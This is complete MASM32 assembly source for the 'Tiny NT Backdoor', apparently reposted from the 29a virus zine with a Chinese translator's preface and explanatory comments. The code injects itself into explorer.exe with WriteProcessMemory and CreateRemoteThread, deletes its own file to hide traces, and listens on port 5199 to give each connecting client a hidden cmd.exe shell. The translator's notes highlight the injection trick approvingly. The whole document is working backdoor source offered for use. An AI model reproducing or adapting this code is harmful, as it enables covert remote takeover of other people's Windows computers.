;Tiny NT Backdoor by Aphex
;http://www.iamaphex.cjb.net
;unremote@knology.net
;原文29a#7[Index-Utilities-Tiny NT Backdoor(Aphex)]
;翻译:icyfox[冰狐浪子] / CVC翻译小组
;本人因E文不好也常为得到的东西看不懂而伤心
;为了支持CVC的翻译事业,决定先找些几乎不用翻译的东西给大家看
;我只是表达原文意思,不是直译
;源代码我稍微加了一点注释
;希望各位努力,我是你们的超级拥护者,努力吧,为了俺小菜^@^
;开始拉!
;本程序运行时将在explorer.exe进程中插入一个在5199端口监听的远程线程,
;并在远程线程中删除自身,从而不留任何痕迹!
;插入的线程为每个连接提供一个DOS命令(cmd.exe)管道,用于执行命令
;断开连接后,结束cmd.exe进程
;编译连接命令如下:
;[译者住:且记/base:0x13140000,即改变基址,关键呀,这个程序的亮点也即这个!这样就可以不用重定位啦!]
;linker options: /base:0x13140000 /filealign:0x200 /merge:.data=.text /section:.text,RWX /subsystem:windows /libpath:/masm32/lib backdoor.obj
.386
.model flat,stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
includelib /masm32/lib/kernel32.lib
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib
include /masm32/include/wsock32.inc
includelib /masm32/lib/wsock32.lib
.data
szTarget byte 'Shell_TrayWnd', 0;这个用于得到explorer.exe进程
szUser32 byte 'user32.dll', 0;在远程线程中加载这两个DLL
szWinsock byte 'wsock32.dll', 0;好像不加载也可以,explorer.exe本身已经加载
szCommandLine byte 'cmd.exe', 0
szSharedData byte 261 dup (0);这里保存自身路径,自删除用
.data?
hModule dword ?
hNewModule dword ?
hProcess dword ?
dwSize dword ?
dwPid dword ?
dwBytesWritten dword ?
dwTid dword ?
WSAData WSADATA <>
.code
;ShellClient为每个连接提供cmd命令管道
ShellClient proc dwSock:dword
local sat:SECURITY_ATTRIBUTES
local hiRead:dword
local hoRead:dword
local hiWrite:dword
local hoWrite:dword
local startupinfo:STARTUPINFO
local processinfo:PROCESS_INformATION
local exitcode:dword
local buffer[1024]:byte
local bytes:dword
local available:dword
local data:dword
mov sat.nLength, sizeof SECURITY_ATTRIBUTES
mov sat.lpSecurityDescriptor, 0
mov sat.bInheritHandle, TRUE
;建立读写匿名管道
invoke CreatePipe, addr hiRead, addr hiWrite, addr sat, 0
invoke CreatePipe, addr hoRead, addr hoWrite, addr sat, 0
;建立利用管道进行输入输出的cmd进程,用于命令的执行和结果的回馈
invoke GetStartupInfo, addr startupinfo
mov startupinfo.cb, sizeof STARTUPINFO
mov eax, hoWrite
mov startupinfo.hStdOutput, eax
mov startupinfo.hStdError, eax
mov eax, hiRead
mov startupinfo.hStdInput, eax
mov startupinfo.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
mov startupinfo.wShowWindow, SW_HIDE
invoke CreateProcess, 0, addr szCommandLine, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, addr startupinfo, addr processinfo
invoke CloseHandle, hoWrite
invoke CloseHandle, hiRead
mov bytes, 1
invoke ioctlsocket, dwSock, FIONBIO, addr bytes;设为非阻塞模式
.while TRUE
invoke Sleep, 1
;cmd进程终止后关闭连接
invoke GetExitCodeProcess, processinfo.hProcess, addr exitcode
.if exitcode != STILL_ACTIVE
.break
.endif
;读取命令执行结果并发送
invoke PeekNamedPipe, hoRead, addr buffer, 1024, addr bytes, addr available, 0
.if bytes != 0
.if available > 1024
.while bytes >= 1024
invoke Sleep, 1
invoke ReadFile, hoRead, addr buffer, 1024, addr bytes, 0
.if bytes != 0
invoke send, dwSock, addr buffer, bytes, 0
.endif
.endw
.else
invoke ReadFile, hoRead, addr buffer, 1024, addr bytes, 0
.if bytes != 0
invoke send, dwSock, addr buffer, bytes, 0
.endif
.endif
.endif
;接受命令并写入管道以执行
invoke recv, dwSock, addr buffer, 1024, 0
.if eax == SOCKET_ERROR || eax == 0
invoke WSAGetLastError
.if eax == WSAEWOULDBLOCK
.continue
.else
invoke TerminateProcess, processinfo.hProcess, 0;连接若断开则结束cmd进程
.break
.endif
.else
mov edx, eax
invoke WriteFile, hiWrite, addr buffer, edx, addr bytes, 0
;这里可以加入send,以便命令的回显,否则无法看到自己输入的命令而只看到结果
;好像瞎子哦^8^
.endif
.endw
;关闭管道和连接
invoke CloseHandle, hiWrite
invoke CloseHandle, hoRead
invoke closesocket, dwSock
ret
ShellClient endp
;Shelld为远程线程的入口
Shelld proc
local SockAddrIn:sockaddr_in
local dwSock:dword
local dwMode:dword
invoke DeleteFile, addr szSharedData;自删除
invoke LoadLibrary, addr szUser32;加载DLL,
invoke LoadLibrary, addr szWinsock;好像没必要的
;初始化并在5199监听
invoke WSAStartup, 101h, addr WSAData
invoke socket, PF_INET, SOCK_STREAM, 0
mov dwSock, eax
mov SockAddrIn.sin_family, AF_INET
invoke htons, 5199
mov SockAddrIn.sin_port, ax
mov SockAddrIn.sin_addr, INADDR_ANY
invoke bind, dwSock, addr SockAddrIn, sizeof SockAddrIn
mov dwMode, 1
invoke ioctlsocket, dwSock, FIONBIO, addr dwMode
invoke listen, dwSock, SOMAXCONN
@@:
invoke accept, dwSock, addr SockAddrIn, 0
.if eax != INVALID_SOCKET
mov edx, eax
;建立一个处理连接的线程即上面的ShellClient
invoke CreateThread, 0, 0, addr ShellClient, edx, 0, 0
invoke CloseHandle, eax
.endif
invoke Sleep, 1000
jmp @B
ret
Shelld endp
start:
;读取自身的内存映像的基址和大小
invoke GetModuleHandle, 0
mov hModule, eax;这里保存基址
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov dwSize, eax;内存映像的大小这里就是拉
assume edi:NOTHING
invoke GetModuleFileName, 0, addr szSharedData, 261;保存自身路径,自删除用
;查找并以全部权限打开explorer.exe进程
invoke FindWindow, addr szTarget, 0
invoke GetWindowThreadProcessId, eax, addr dwPid
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwPid
mov hProcess, eax
;在explorer.exe进程中分配内存并把自身全部写入,
;分配的内存起始于0x13140000,即自身内存映像基址
;这也是为何连接时指定基址的原因,不然explorer.exe的小命准完蛋喽
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hNewModule, eax
invoke WriteProcessMemory, hProcess, hNewModule, hModule, dwSize, addr dwBytesWritten
;建立explorer远程线程
invoke CreateRemoteThread, hProcess, 0, 0, addr Shelld, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start
附:曾经和菜菜讨论过关于程序自身加密的东东 希望他能搞出一个模型出来